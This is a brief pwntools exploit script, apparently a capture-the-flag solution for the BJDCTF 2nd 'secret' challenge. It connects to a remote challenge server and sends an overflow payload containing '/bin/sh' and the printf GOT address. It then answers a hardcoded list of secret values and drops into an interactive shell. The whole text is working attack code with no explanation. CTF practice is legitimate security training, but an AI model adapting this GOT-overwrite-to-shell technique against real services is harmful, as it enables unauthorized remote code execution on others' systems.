BJDCTF 2nd secret

from pwn import *

p = remote('node3.buuoj.cn',27231)

elf = ELF("./secret")
p.recvuntil("# What's your name? _")
payload = '/bin/sh\x00\x00\x00\x00\x00\x00\x00\x00\x00' + p32(elf.got['printf'])

p.sendline(payload)
 
answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]

for i in answer:
    p.recvuntil("#           Secret: _")
    log.success(i)
    p.sendline(str(i))

p.recvuntil("#           Secret: _")
p.sendline('1')
p.interactive()